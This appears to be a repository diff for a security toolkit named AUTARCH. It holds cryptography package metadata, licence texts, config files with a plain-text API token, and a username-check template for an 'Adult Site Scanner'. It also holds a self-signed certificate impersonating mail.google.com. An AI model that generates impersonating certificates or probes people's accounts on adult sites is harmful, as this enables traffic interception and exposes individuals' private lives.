cryptography/hazmat/primitives/__pycache__/hashes.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/__pycache__/hmac.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/__pycache__/keywrap.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/__pycache__/padding.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/__pycache__/poly1305.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/_asymmetric.py,sha256=RhgcouUB6HTiFDBrR1LxqkMjpUxIiNvQ1r_zJjRG6qQ,532
|
||||
cryptography/hazmat/primitives/_cipheralgorithm.py,sha256=Eh3i7lwedHfi0eLSsH93PZxQKzY9I6lkK67vL4V5tOc,1522
|
||||
cryptography/hazmat/primitives/_serialization.py,sha256=chgPCSF2jxI2Cr5gB-qbWXOvOfupBh4CARS0KAhv9AM,5123
|
||||
cryptography/hazmat/primitives/asymmetric/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/dh.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/dsa.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ec.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ed25519.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ed448.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/padding.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/rsa.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/types.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/utils.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/x25519.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/__pycache__/x448.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/asymmetric/dh.py,sha256=0v_vEFFz5pQ1QG-FkWDyvgv7IfuVZSH5Q6LyFI5A8rg,3645
|
||||
cryptography/hazmat/primitives/asymmetric/dsa.py,sha256=Ld_bbbqQFz12dObHxIkzEQzX0SWWP41RLSWkYSaKhqE,4213
|
||||
cryptography/hazmat/primitives/asymmetric/ec.py,sha256=dj0ZR_jTVI1wojjipjbXNVccPSIRObWxSZcTGQKGbHc,13437
|
||||
cryptography/hazmat/primitives/asymmetric/ed25519.py,sha256=jZW5cs472wXXV3eB0sE1b8w64gdazwwU0_MT5UOTiXs,3700
|
||||
cryptography/hazmat/primitives/asymmetric/ed448.py,sha256=yAetgn2f2JYf0BO8MapGzXeThsvSMG5LmUCrxVOidAA,3729
|
||||
cryptography/hazmat/primitives/asymmetric/padding.py,sha256=vQ6l6gOg9HqcbOsvHrSiJRVLdEj9L4m4HkRGYziTyFA,2854
|
||||
cryptography/hazmat/primitives/asymmetric/rsa.py,sha256=ZnKOo2f34MCCOupC03Y1uR-_jiSG5IrelHEmxaME3D4,8303
|
||||
cryptography/hazmat/primitives/asymmetric/types.py,sha256=LnsOJym-wmPUJ7Knu_7bCNU3kIiELCd6krOaW_JU08I,2996
|
||||
cryptography/hazmat/primitives/asymmetric/utils.py,sha256=DPTs6T4F-UhwzFQTh-1fSEpQzazH2jf2xpIro3ItF4o,790
|
||||
cryptography/hazmat/primitives/asymmetric/x25519.py,sha256=_4nQeZ3yJ3Lg0RpXnaqA-1yt6vbx1F-wzLcaZHwSpeE,3613
|
||||
cryptography/hazmat/primitives/asymmetric/x448.py,sha256=WKBLtuVfJqiBRro654fGaQAlvsKbqbNkK7c4A_ZCdV0,3642
|
||||
cryptography/hazmat/primitives/ciphers/__init__.py,sha256=eyEXmjk6_CZXaOPYDr7vAYGXr29QvzgWL2-4CSolLFs,680
|
||||
cryptography/hazmat/primitives/ciphers/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/ciphers/__pycache__/aead.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/ciphers/__pycache__/algorithms.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/ciphers/__pycache__/base.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/ciphers/__pycache__/modes.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/ciphers/aead.py,sha256=Fzlyx7w8KYQakzDp1zWgJnIr62zgZrgVh1u2h4exB54,634
|
||||
cryptography/hazmat/primitives/ciphers/algorithms.py,sha256=Q7ZJwcsx83Mgxv5y7r6CyJKSdsOwC-my-5A67-ma2vw,3407
|
||||
cryptography/hazmat/primitives/ciphers/base.py,sha256=aBC7HHBBoixebmparVr0UlODs3VD0A7B6oz_AaRjDv8,4253
|
||||
cryptography/hazmat/primitives/ciphers/modes.py,sha256=20stpwhDtbAvpH0SMf9EDHIciwmTF-JMBUOZ9bU8WiQ,8318
|
||||
cryptography/hazmat/primitives/cmac.py,sha256=sz_s6H_cYnOvx-VNWdIKhRhe3Ymp8z8J0D3CBqOX3gg,338
|
||||
cryptography/hazmat/primitives/constant_time.py,sha256=xdunWT0nf8OvKdcqUhhlFKayGp4_PgVJRU2W1wLSr_A,422
|
||||
cryptography/hazmat/primitives/hashes.py,sha256=M8BrlKB3U6DEtHvWTV5VRjpteHv1kS3Zxm_Bsk04cr8,5184
|
||||
cryptography/hazmat/primitives/hmac.py,sha256=RpB3z9z5skirCQrm7zQbtnp9pLMnAjrlTUvKqF5aDDc,423
|
||||
cryptography/hazmat/primitives/kdf/__init__.py,sha256=4XibZnrYq4hh5xBjWiIXzaYW6FKx8hPbVaa_cB9zS64,750
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/argon2.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/hkdf.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/pbkdf2.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/kdf/argon2.py,sha256=UFDNXG0v-rw3DqAQTB1UQAsQC2M5Ejg0k_6OCyhLKus,460
|
||||
cryptography/hazmat/primitives/kdf/concatkdf.py,sha256=Ua8KoLXXnzgsrAUmHpyKymaPt8aPRP0EHEaBz7QCQ9I,3737
|
||||
cryptography/hazmat/primitives/kdf/hkdf.py,sha256=M0lAEfRoc4kpp4-nwDj9yB-vNZukIOYEQrUlWsBNn9o,543
|
||||
cryptography/hazmat/primitives/kdf/kbkdf.py,sha256=oZepvo4evhKkkJQWRDwaPoIbyTaFmDc5NPimxg6lfKg,9165
|
||||
cryptography/hazmat/primitives/kdf/pbkdf2.py,sha256=1WIwhELR0w8ztTpTu8BrFiYWmK3hUfJq08I79TxwieE,1957
|
||||
cryptography/hazmat/primitives/kdf/scrypt.py,sha256=XyWUdUUmhuI9V6TqAPOvujCSMGv1XQdg0a21IWCmO-U,590
|
||||
cryptography/hazmat/primitives/kdf/x963kdf.py,sha256=zLTcF665QFvXX2f8TS7fmBZTteXpFjKahzfjjQcCJyw,1999
|
||||
cryptography/hazmat/primitives/keywrap.py,sha256=XV4Pj2fqSeD-RqZVvY2cA3j5_7RwJSFygYuLfk2ujCo,5650
|
||||
cryptography/hazmat/primitives/padding.py,sha256=QT-U-NvV2eQGO1wVPbDiNGNSc9keRDS-ig5cQOrLz0E,1865
|
||||
cryptography/hazmat/primitives/poly1305.py,sha256=P5EPQV-RB_FJPahpg01u0Ts4S_PnAmsroxIGXbGeRRo,355
|
||||
cryptography/hazmat/primitives/serialization/__init__.py,sha256=Q7uTgDlt7n3WfsMT6jYwutC6DIg_7SEeoAm1GHZ5B5E,1705
|
||||
cryptography/hazmat/primitives/serialization/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/serialization/__pycache__/base.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/serialization/__pycache__/pkcs12.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/serialization/__pycache__/pkcs7.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/serialization/__pycache__/ssh.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/serialization/base.py,sha256=ikq5MJIwp_oUnjiaBco_PmQwOTYuGi-XkYUYHKy8Vo0,615
|
||||
cryptography/hazmat/primitives/serialization/pkcs12.py,sha256=mS9cFNG4afzvseoc5e1MWoY2VskfL8N8Y_OFjl67luY,5104
|
||||
cryptography/hazmat/primitives/serialization/pkcs7.py,sha256=5OR_Tkysxaprn4FegvJIfbep9rJ9wok6FLWvWwQ5-Mg,13943
|
||||
cryptography/hazmat/primitives/serialization/ssh.py,sha256=hPV5obFznz0QhFfXFPOeQ8y6MsurA0xVMQiLnLESEs8,53700
|
||||
cryptography/hazmat/primitives/twofactor/__init__.py,sha256=tmMZGB-g4IU1r7lIFqASU019zr0uPp_wEBYcwdDCKCA,258
|
||||
cryptography/hazmat/primitives/twofactor/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/twofactor/__pycache__/hotp.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/twofactor/__pycache__/totp.cpython-313.pyc,,
|
||||
cryptography/hazmat/primitives/twofactor/hotp.py,sha256=ivZo5BrcCGWLsqql4nZV0XXCjyGPi_iHfDFltGlOJwk,3256
|
||||
cryptography/hazmat/primitives/twofactor/totp.py,sha256=m5LPpRL00kp4zY8gTjr55Hfz9aMlPS53kHmVkSQCmdY,1652
|
||||
cryptography/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
cryptography/utils.py,sha256=nFHkPQZycOQGeBtBRkWSA4WjOHFo7pwummQt-PPSkZc,4349
|
||||
cryptography/x509/__init__.py,sha256=xloN0swseNx-m2WFZmCA17gOoxQWqeU82UVjEdJBePQ,8257
|
||||
cryptography/x509/__pycache__/__init__.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/base.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/certificate_transparency.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/extensions.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/general_name.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/name.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/ocsp.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/oid.cpython-313.pyc,,
|
||||
cryptography/x509/__pycache__/verification.cpython-313.pyc,,
|
||||
cryptography/x509/base.py,sha256=OrmTw3y8B6AE_nGXQPN8x9kq-d7rDWeH13gCq6T6D6U,27997
|
||||
cryptography/x509/certificate_transparency.py,sha256=JqoOIDhlwInrYMFW6IFn77WJ0viF-PB_rlZV3vs9MYc,797
|
||||
cryptography/x509/extensions.py,sha256=QxYrqR6SF1qzR9ZraP8wDiIczlEVlAFuwDRVcltB6Tk,77724
|
||||
cryptography/x509/general_name.py,sha256=sP_rV11Qlpsk4x3XXGJY_Mv0Q_s9dtjeLckHsjpLQoQ,7836
|
||||
cryptography/x509/name.py,sha256=ty0_xf0LnHwZAdEf-d8FLO1K4hGqx_7DsD3CHwoLJiY,15101
|
||||
cryptography/x509/ocsp.py,sha256=Yey6NdFV1MPjop24Mj_VenjEpg3kUaMopSWOK0AbeBs,12699
|
||||
cryptography/x509/oid.py,sha256=BUzgXXGVWilkBkdKPTm9R4qElE9gAGHgdYPMZAp7PJo,931
|
||||
cryptography/x509/verification.py,sha256=gR2C2c-XZQtblZhT5T5vjSKOtCb74ef2alPVmEcwFlM,958
|
||||
@@ -0,0 +1,4 @@
|
||||
Wheel-Version: 1.0
|
||||
Generator: maturin (1.9.4)
|
||||
Root-Is-Purelib: false
|
||||
Tag: cp311-abi3-win_amd64
|
||||
@@ -0,0 +1,3 @@
|
||||
This software is made available under the terms of *either* of the licenses
|
||||
found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made
|
||||
under the terms of *both* these licenses.
|
||||
@@ -0,0 +1,202 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
https://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
https://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,27 @@
|
||||
Copyright (c) Individual contributors.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of PyCA Cryptography nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,12 @@
|
||||
# AUTARCH Adult Site Scanner - Bulk Import File
|
||||
# Add one domain per line (without http:// or https://)
|
||||
# Lines starting with # are comments
|
||||
#
|
||||
# Example:
|
||||
# example.com
|
||||
# another-site.net
|
||||
# subdomain.site.org
|
||||
#
|
||||
# After adding domains, run Bulk Import [B] again
|
||||
# and provide a test username that exists on these sites.
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
{
|
||||
"active": true,
|
||||
"tier": 2,
|
||||
"protections": {
|
||||
"private_dns": "adguard",
|
||||
"ad_opt_out": true,
|
||||
"location_accuracy": true,
|
||||
"diagnostics": true
|
||||
},
|
||||
"activated_at": "2026-02-21T02:55:28.439016"
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,19 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL
|
||||
BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy
|
||||
MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO
|
||||
BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5
|
||||
2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L
|
||||
LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o
|
||||
DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp
|
||||
Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW
|
||||
a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o
|
||||
OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD
|
||||
VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB
|
||||
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg
|
||||
DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41
|
||||
XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35
|
||||
VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1
|
||||
U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB
|
||||
6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,20 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDWTCCAkGgAwIBAgIUOzmq7jW+wmCJdR9vdQNaC7/DJCwwDQYJKoZIhvcNAQEL
|
||||
BQAwPDEYMBYGA1UEAwwPbWFpbC5nb29nbGUuY29tMRMwEQYDVQQKDApHb29nbGUg
|
||||
TExDMQswCQYDVQQGEwJVUzAeFw0yNjAzMDMxMjA2MDFaFw0yNzAzMDMxMjA2MDFa
|
||||
MDwxGDAWBgNVBAMMD21haWwuZ29vZ2xlLmNvbTETMBEGA1UECgwKR29vZ2xlIExM
|
||||
QzELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCO
|
||||
dJygnzih+j44Z7O08n8lWfIpkEBFQtLeoWWbUhi66uIGnISw0x41LxQRSa0pM/cK
|
||||
1dkQV9olBxOcmFY6XaT8YP7AXt5NkvH0Y/3vE2JHRJpxw0W8ug2tX4pwWCXMkJn2
|
||||
/Ih2d/VBzDLKp4UK+KTse+2qrFRsvReoOuWzXBqpLC2Ch4pvz1skmjA/hsH7OiWx
|
||||
ADeBrtphh+1vHhMM27x6D0i3K0tSvhoZBamjXt7qzjPtPGj7dXlHB+S6LkAJC5pF
|
||||
vL5GYTc5gSceoUzgBFWVVfLP2TYYyDpss/LFnWnvWMqqrvsW8WNaMmHeOI9RA+Q+
|
||||
rcOjxi7VwDmjm6iwvWFNAgMBAAGjUzBRMB0GA1UdDgQWBBQzYwznwTj7ZM89NikD
|
||||
ty1B33oAlDAfBgNVHSMEGDAWgBQzYwznwTj7ZM89NikDty1B33oAlDAPBgNVHRMB
|
||||
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBhp5GxpRz0lw4uRhJvw3ewhPX6
|
||||
UHBnWqMb3g4e3zc7RVWqcN4gj9j4ZTFoJxOs2Hw+VfO1i+x3/f4CSxmFrd6FcqNl
|
||||
B7rRl1+9zup6Me2EQ+XM6mS4Xwf6gmjSvetpcpJAk42c52JdiXq29zZgAPG9n7iz
|
||||
DrHN70wsB/xGbA2XqcwsOuy3uoBR3TSj9ka3gzrRC1JkP0phcKxlxUYigWaBB/uH
|
||||
pl5APHqN5fvPyXkiTdX0YQpnRGONm+aMO/LUutIZj4dghQdpJBdDQgv7r3MZl5Z5
|
||||
Q1UWqnkFwgO4/sjd7yU7u7DODV5/QIzJ9BWRyhIOXiTArU1+M80SP79WJHKa
|
||||
-----END CERTIFICATE-----
|
||||
Binary file not shown.
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"enabled": false,
|
||||
"auto_block_top_talkers": true,
|
||||
"auto_enable_syn_cookies": true,
|
||||
"connection_threshold": 100,
|
||||
"syn_threshold": 50,
|
||||
"updated": "2026-03-02T23:30:44.437461"
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"listen_dns": "10.0.0.56:53",
|
||||
"listen_api": "127.0.0.1:5380",
|
||||
"api_token": "5ed79350fed2490d2aca6f3b29776365",
|
||||
"upstream": [],
|
||||
"cache_ttl": 300,
|
||||
"zones_dir": "C:\\she\\autarch\\data\\dns\\zones",
|
||||
"dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys",
|
||||
"log_queries": true
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
{
|
||||
"domain": "autarch.local",
|
||||
"soa": {
|
||||
"primary_ns": "ns1.autarch.local",
|
||||
"admin_email": "admin.autarch.local",
|
||||
